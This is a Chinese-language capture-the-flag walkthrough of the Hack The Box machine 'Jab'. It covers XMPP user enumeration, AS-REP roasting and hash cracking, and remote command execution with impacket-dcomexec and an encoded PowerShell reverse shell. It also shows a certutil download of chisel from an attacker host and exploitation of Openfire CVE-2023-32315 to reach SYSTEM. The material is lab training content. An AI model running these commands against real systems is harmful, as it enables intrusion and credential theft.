Hack The Box-Jab

总体思路

端口扫描->访问Jabber服务（自建用户）->john解密->访问Jabber服务（服务器用户）->获取用户权限->端口转发openfire后台管理界面->上传CVE-2023-32315插件->获取system权限

信息收集&端口利用

nmap 10.10.11.4

发现没有开放常用端口，开放了445端口，考虑使用kerbrute对目标域名进行扫描

./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

扫描一会后，发现用户名数量非常庞大，一时半会结束不了，先进行下一步

注意到开放的端口还有5222、5269、7070、7443等，其中5222端口经过查询后为jabber服务的端口、7070端口为openfire服务的端口

Openfire服务存在一个管理界面，默认端口为9090，这里访问不了，猜测需要进入内网将端口转发出来后利用，因此先利用5222端口的Jabber服务

Jabber服务

Jabber 是著名的Linux即时通讯服务服务器，它是一个自由开源软件，能让用户自己架即时通讯服务器，可以在Internet上应用，也可以在局域网中应用。Jabber最有优势的就是其通信协议，可以和多种即时通讯对接

在Linux上使用Jabber服务需要安装pidgin客户端

apt-get install pidgin

在命令行输入pidgin启动客户端

第一次进入客户端时，我们需要注册一个用户，点击Accounts->Manage Accounts->Add

Jabber服务是和XMPP服务相关联的，协议选择XMPP，此处的账户名和密码为登录到jab.htb的账户和密码，并且在advanced中设置好目标靶机的ip地址，首次登录我们没有账户信息，因此需要勾选底下的新建账户选项，点击确认后，在注册界面填入刚刚的信息

注册完成后，点击Accounts->Enable Account->connan@jab.htb就能够进入到该角色中

点击Buddies->Join a chat加入一个聊天室

图中的room名称随意，password为刚刚设置的密码

进入到聊天室，但是里面没有任何信息，需要搜索与该用户相关的聊天室

先在tools模块中添加插件

将XMPP模块相关内容勾选上，然后选择XMPP服务发现

点击Browse

能显示出除了connan以外，还有test和test2聊天室，双击添加查看

test聊天室无法访问，test2聊天室只有一段base64的编码，但是也给了我们提示信息，有一个bdavis用户，于是想到查看还有什么用户

选择search for users

*号查找所有用户

下一步需要导出这些用户名，先打开tools中的XMPP Console，然后再进行搜索用户，这样搜索的文件就能被记录下来

将文件内容复制出来，使用正则表达式对其中内容进行筛选，使其只显示出用户名

grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.txt | sed 's/@jab.htb//g' | sort | uniq > user.txt

grep: 这是一个搜索工具，用于在文件中搜索匹配的行。
-o：只输出匹配的部分，而不是整行。
-P：使用 Perl 兼容的正则表达式。
‘< value >\K[^<]+@jab.htb(?=< /value >)’：这是一个Perl兼容的正则表达式，用于匹配< value >标签内的内容，并提取 @jab.htb 之前的部分。\K是重置匹配开始位置的操作符，意味着匹配结果从\K 之后的部分开始。
|：管道操作符，用于将一个命令的输出作为另一个命令的输入。
sed：一个流编辑器，用于对输入流（或文件）进行基本的文本转换。
‘s/@jab.htb//g’: 这是一个sed命令，用于替换文本，这里它将所有的@jab.htb替换为空字符串（即删除它）。
sort：这是一个排序工具，用于对输入行进行排序。
uniq：这是一个用于报告或省略重复行的工具。它默认只输出唯一的行。

在输出了所有用户名之后，使用impacket模块中的GetNPUsers功能来筛选出所有不需要”Kerberos预身份验证”的用户

impacket-GetNPUsers jab.htb/ -usersfile user.txt -outputfile outputusers.txt -dc-ip 10.10.11.4 -no-pass

运行完成后，在outputusers.txt文件中会有三行数据

使用john来破解它（此处不知道为什么编者的hashcat的18200模块破解不出来）

破解出了jmontgomery用户的密码，用此用户登录到Jabber

进入pentest2003聊天室，通过查阅聊天记录我们能看到svc_openfire用户的登录凭据为
!@#$%^&*(1qazxsw

因为目标靶机没有开放5985端口，因此不能使用evil-winrm来登录，这里使用impacket包中的dcomexec进行登录并执行命令

impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e [revshell_in_base64]' -silentcommand

其中[revshell_in_base64]内容为base64编码后的revshell代码

拿到用户权限

权限提升

前面提到Openfire还有一个处于内网的9090管理界面，这里先上传chisel将9090端口转发出来

certutil.exe -urlcache -split -f http://10.10.XX.XX:XXXX/chisel.exe

客户端和服务器端分别运行chisel

转发成功后，访问本地的9090端口

使用svc_openfire/!@#$%^&*(1qazxsw登录进界面

搜索Openfire相关漏洞，注意到存在CVE-2023-32315，下载压缩包文件后，根据github上的说明，使用mvn生成jar文件

mvn clean package

在插件处上传jar包文件

上传完成后，在server->server-settings访问shell plugin插件

密码为123，在右上角选择系统命令

执行whoami后发现是system权限

使用cmd执行powershell来反弹shell

cmd.exe /c powershell -e [revshell_in_base64]

提权成功

PS：因为着急下班所以写的有点匆忙，明天会把细节补上（悲